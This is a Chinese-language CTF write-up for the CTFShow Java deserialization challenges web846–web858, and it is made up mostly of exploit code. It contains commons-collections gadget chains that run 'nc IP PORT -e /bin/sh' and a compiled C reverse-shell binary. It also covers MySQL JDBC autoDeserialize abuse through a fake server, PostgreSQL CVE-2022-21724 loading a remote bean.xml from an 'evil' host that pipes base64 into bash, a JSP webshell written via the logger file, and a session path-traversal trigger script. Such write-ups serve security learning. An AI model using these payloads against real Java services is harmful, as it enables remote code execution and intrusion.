CTFShow Java反序列化

web846

URL DNS链,直接构造就行

package CC1;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> h = new HashMap<>();
        URL url = new URL("http://c663d4f2-5854-4e9a-bf4c-27e0ccff6cf5.challenge.ctf.show/");

        Class c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);

        hashCodeField.set(url, 555);	// 在put前修改hashCode的值,避免序列化的时候本地发起DNS请求
        h.put(url, 1);
        hashCodeField.set(url, -1);		// put之后改为-1

        String S = serializeToBase64(h);
        System.out.println(S);
    }
    public static String serializeToBase64(Object obj) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {

            oos.writeObject(obj);
            oos.flush();

            return Base64.getEncoder().encodeToString(baos.toByteArray());
        }
    }

    public static Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64String);

        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {

            return ois.readObject();
        }
    }

}

顺带一提,这里要对post的内容需要进行一次url编码。

web847-web853

这部分的题的CC链就可以打,但是ban掉的类又没有写,完全不知道有什么意义。

web854

我是java8,使用了commons-collections 4.0的库并对一些可能有危险的类进行了封禁,包含:

  • TransformedMap
  • PriorityQueue
  • InstantiateTransformer
  • TransformingComparator
  • TemplatesImpl
  • AnnotationInvocationHandler
  • HashSet
  • Hashtable
  • LazyMap

根据限制,使用BadAttributeValueExpException做入口,用DefaultedMap替换LazyMap,走Runtime.exec。也就是CC5那条链

package ctfshow.ser;

import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.Map;

import static ctfshow.ser.Tools.deserializeFromBase64;
import static ctfshow.ser.Tools.serializeToBase64;

public class Web854 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc IP PORT -e /bin/sh"})
//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

        Map defaultedMap = new DefaultedMap(chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, null);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, tiedMapEntry);

        String s = serializeToBase64(val);
        System.out.println(s);
//        deserializeFromBase64(s);
    }
}

web855

没有使用额外的库,但有个user类

package com.ctfshow.entity;
 
import java.io.*;
 
public class User implements Serializable {
    private static final long serialVersionUID = 0x36d;
    private String username;
    private String password;
 
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }
 
    public String getUsername() {
        return username;
    }
 
    public void setUsername(String username) {
        this.username = username;
    }
 
    public String getPassword() {
        return password;
    }
 
    public void setPassword(String password) {
        this.password = password;
    }
 
 
    private static final String OBJECTNAME="ctfshow";
    private static final String SECRET="123456";
 
    private static  String shellCode="chmod +x ./"+OBJECTNAME+" && ./"+OBJECTNAME;
 
 
 
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        int magic = in.readInt();
        if(magic==2135247942){
            byte var1 = in.readByte();
 
            switch (var1){
                case 1:{
                    int var2 = in.readInt();
                    if(var2==0x36d){
 
                        FileOutputStream fileOutputStream = new FileOutputStream(OBJECTNAME);
                        fileOutputStream.write(new byte[]{0x7f,0x45,0x4c,0x46});
                        byte[] temp = new byte[1];
                        while((in.read(temp))!=-1){
                            fileOutputStream.write(temp);
                        }
 
                        fileOutputStream.close();
                        in.close();
 
                    }
                    break;
                }
                case 2:{
 
                    ObjectInputStream.GetField gf = in.readFields();
                    String username = (String) gf.get("username", null);
                    String password = (String) gf.get("password",null);
                    username = username.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
                            .replaceAll(" {2,}", " ");
                    password = password.replaceAll("[\\p{C}\\p{So}\uFE00-\uFE0F\\x{E0100}-\\x{E01EF}]+", "")
                            .replaceAll(" {2,}", " ");
                    User var3 = new User(username,password);
                    User admin = new User(OBJECTNAME,SECRET);
                    if(var3 instanceof  User){
                        if(OBJECTNAME.equals(var3.getUsername())){
                            throw  new RuntimeException("object unserialize error");
                        }
                        if(SECRET.equals(var3.getPassword())){
                            throw  new RuntimeException("object unserialize error");
                        }
                        if(var3.equals(admin)){
                            Runtime.getRuntime().exec(shellCode);
                        }
                    }else{
                        throw  new RuntimeException("object unserialize error");
                    }
                    break;
                }
                default:{
                    throw  new RuntimeException("object unserialize error");
                }
            }
        }
 
    }
 
    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return this.hashCode() == user.hashCode();
    }
 
    @Override
    public int hashCode() {
        return username.hashCode()+password.hashCode();
    }
 
 
}

这里ObjectInputStream的readInt, readByte, read是从流中读数据的,这些数据可以在序列化writeObject的时候写入流中。

简单测试下:

private void writeObject(ObjectOutputStream out) throws IOException {
    out.writeInt(2135247942);
    out.writeByte(1);
    out.writeInt(0x36d);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    int magic = in.readInt();
    System.out.println(magic);
    if(magic==2135247942){
        byte var1 = in.readByte();
        System.out.println(var1);
        switch (var1){
            case 1:{
                int var2 = in.readInt();
                System.out.println(var2);
                break;
            }
            case 2:{
                break;
            }
            default:{
                throw  new RuntimeException("object unserialize error");
            }
        }
    }
}

这个User的readObject可以干两件事,对应着case 1case 2

  • 把输入流中的数据写到文件中。
  • 执行这个写好的文件。

写入文件

case 1写一个恶意文件,gcc Evil.c -o Evil

#include<stdlib.h>
int main() {
    system("nc ip port -e /bin/sh"); 
    return 0;	
}

编译好后,将文件前四个字节删掉(后面写文件时会提前写入)。

编写writeObject创建第一次传入的反序列化字符串。

private void writeObject(ObjectOutputStream out) throws IOException {
    out.writeInt(2135247942);
    out.writeByte(1);
    out.writeInt(0x36d);
    File filename = new File("src/main/java/com/ctfshow/entity/web855"); //gcc生成的文件位置
    BufferedInputStream in = new BufferedInputStream(new FileInputStream(filename));
    ByteArrayOutputStream out2 = new ByteArrayOutputStream(1024);
    byte[] temp = new byte[1024];
    int size = 0;
    while((size = in.read(temp)) != -1){
        out2.write(temp, 0, size);
    }
    in.close();
    byte[] content = out2.toByteArray();
    out.write(content);
    out.defaultWriteObject();
}

Hash碰撞

case 2中会将传入的User对象的username和password提取出来实例化一个var3,其中username和password不能为ctfshow/123456,但要满足var3.equals(admin)

这里equals是User类重写了的,比较的是两个类的hashCode(),而hashCode()也经过了重写

public int hashCode() {
    return username.hashCode() + password.hashCode();
}

而字符串的hashCode方法为

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

对字符串中的每一个字符,都将之前计算的 h(初始为0) 值乘以31,然后加上当前字符的ASCII值。最后这个值就是这个字符串的hash值。

很显然这个是可以碰撞出一样hash值的字符串的。参考yu22x师傅的脚本

def hashcode(val):
    h=0
    for i in range(len(val)):
        h=31 * h + ord(val[i])
    return h
    
# 最少只要前两个字符的和相同,后面计算出来的和也相同
t = "ct"	
# t = "12"
for k in range(1, 128):
    for l in range(1, 128):
        if t != (chr(k) + chr(l)):
            if(hashcode(t) == hashcode(chr(k)+chr(l))):
                print(t, chr(k)+chr(l))

找到了用dUtfshow/0Q3456代替ctfshow/123456

重写writeObject

private void writeObject(ObjectOutputStream out) throws IOException {
       out.writeInt(2135247942);
       out.writeByte(2);
       out.defaultWriteObject();
}

序列化

package com.ctfshow.entity;

import static com.ctfshow.entity.Tools.deserializeFromBase64;
import static com.ctfshow.entity.Tools.serializeToBase64;

public class Demo {
    public static void main(String[] args) throws Exception{
        User user = new User("dUfshow", "0Q3456");
        String s = serializeToBase64(user);
        System.out.println(s);
        // deserializeFromBase64(s);

    }
}

web856

MySQL JDBC 客户端反序列化,参考https://www.anquanke.com/post/id/203086

这个漏洞发生在MySQL JDBC连接数据库的时候,如果JDBC URL可控,那可以让它连接到我们MySQL服务器上来执行一个自定义的反序列化内容。

Demo

public class Demo {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.jdbc.Driver";
        String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
        //String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

JDBC URL的格式如下:protocol//[hosts]/[database]?properties。前面都好理解,问题在properties上,它可以设定MySQL Connector/J连接mysql服务器的具体方式。其中和漏洞的连接属性有两个,分别是autoDeserializequeryInterceptors

  • autoDeserialize:设定MySQL Connector/J是否反序列化BLOB类型的数据
  • queryInterceptors:拦截器,在查询执行时触发,在执行查询语句前后分别调用拦截器的preProcess和postProcess方法。

而在getConnection过程中,会触发SET NAMES utf、set autocommit=1一类的请求,所以会触发我们所配置的queryInterceptors

ServerStatusDiffInterceptorpreProcess方法中会进行SHOW SESSION STAUS语句并获取结果,因为设置autoDeserialize=true,这个结果会被反序列化。

所以如果能操作这个查询结果,就可以任意执行反序列化操作,这里用到的工具是MySQL_Fake_Server

回到题目,题目环境有commons-collections 4.0,那么我们可以用一条CC链来执行命令。修改MySQL_Fake_Server的config.json的yso,让ysoserial执行查到的对应user的命令。

{
    "config":{
        "ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar",
        "javaBinPath":"java",
        "fileOutputDir":"./fileOutput/",
        "displayFileContentOnScreen":true,
        "saveToFile":true
    },
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "ssrf":"https://www.baidu.com/",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
    },
    "yso":{
        "sky3":["CommonsCollections4","nc IP PORT -e /bin/sh"]	
    }
}

在服务器上运行server.py。然后构造exp

public static void main(String[] args) throws Exception{
    Connection connection = new Connection();
    connection.setSchema("jdbc:mysql");
    connection.setHost("IP");
    connection.setPort(3306);
    connection.setDatabase("autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor");
    connection.setUser(new User("sky3", "123"));

    String s = serializeToBase64(connection);
    System.out.println(s);
//        deserializeFromBase64(s);
}

传入,get shell

web857

参考:https://forum.butian.net/share/1339

REC

package sec.PostgreSQL;

import java.sql.Connection;
import java.sql.DriverManager;

public class cve_2022_21724 {
    public static void main(String[]args)throws Exception{
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://evil:8888/bean.xml";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
        System.out.println(jdbcUrl);
                Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

bean.xml

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:p="http://www.springframework.org/schema/p"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <!--    普通方式创建类-->
  <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value>{echo,base64}|{base64,-d}|{bash,-i}</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

文件写入

package sec.PostgreSQL;

import java.sql.DriverManager;

public class cve_2022_21724_filewrite {
    public static void main(String[]args)throws Exception{
        String loggerLevel="DEBUG";
        String loggerFile="../hack.jsp";
        String shellContent="<%25test;%25>";

        String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
        System.out.println(dbUrl);
        DriverManager.getConnection(dbUrl);
    }
}

exp,RCE没跑通不知道为什么

public static void main(String[] args) throws Exception{
    Connection connection = new Connection();
    connection.setSchema("jdbc:postgresql");
    connection.setDriver("org.postgresql.Driver");
    connection.setHost("127.0.0.1");
    connection.setPort(5432);
    String loggerLevel="DEBUG";
    String loggerFile="../webapps/ROOT/hack.jsp";
    String shellContent="<%Runtime.getRuntime().exec(request.getParameter(\\\"i\\\"));%>";
    String dbUrl = "loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;
    connection.setDatabase(dbUrl);
    connection.setUser(new User("sky3", "123"));

    String s = serializeToBase64(connection);
    System.out.println(s);
    //        deserializeFromBase64(s);
}

web858

参考:https://blog.csdn.net/qq_40898302/article/details/124291764

漏洞之后复现一下,记下解题流程

用下面的代码生成user类的序列化文件

package com.ctfshow.entity;

import java.io.*;

public class Demo {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
        User user = new User();
        user.setUsername("cp /flag /usr/local/tomcat/webapps/ROOT/flag.txt");
        serialize(user);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.session"));
        oos.writeObject(obj);
    }
}

上传a.session,用下面的脚本触发

import requests

url = 'http://49b46d3b-952f-4c2d-b796-92952a64f714.challenge.ctf.show/'
cookies = {
        "JSESSIONID":"../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/a"
}
response = requests.get(url=url,cookies=cookies)
print(response.text)

访问http://49b46d3b-952f-4c2d-b796-92952a64f714.challenge.ctf.show/flag.txt

参考链接

https://evo1ution.cn/2023/08/26/ctfshow-web4/
https://blog.csdn.net/miuzzx/article/details/128221385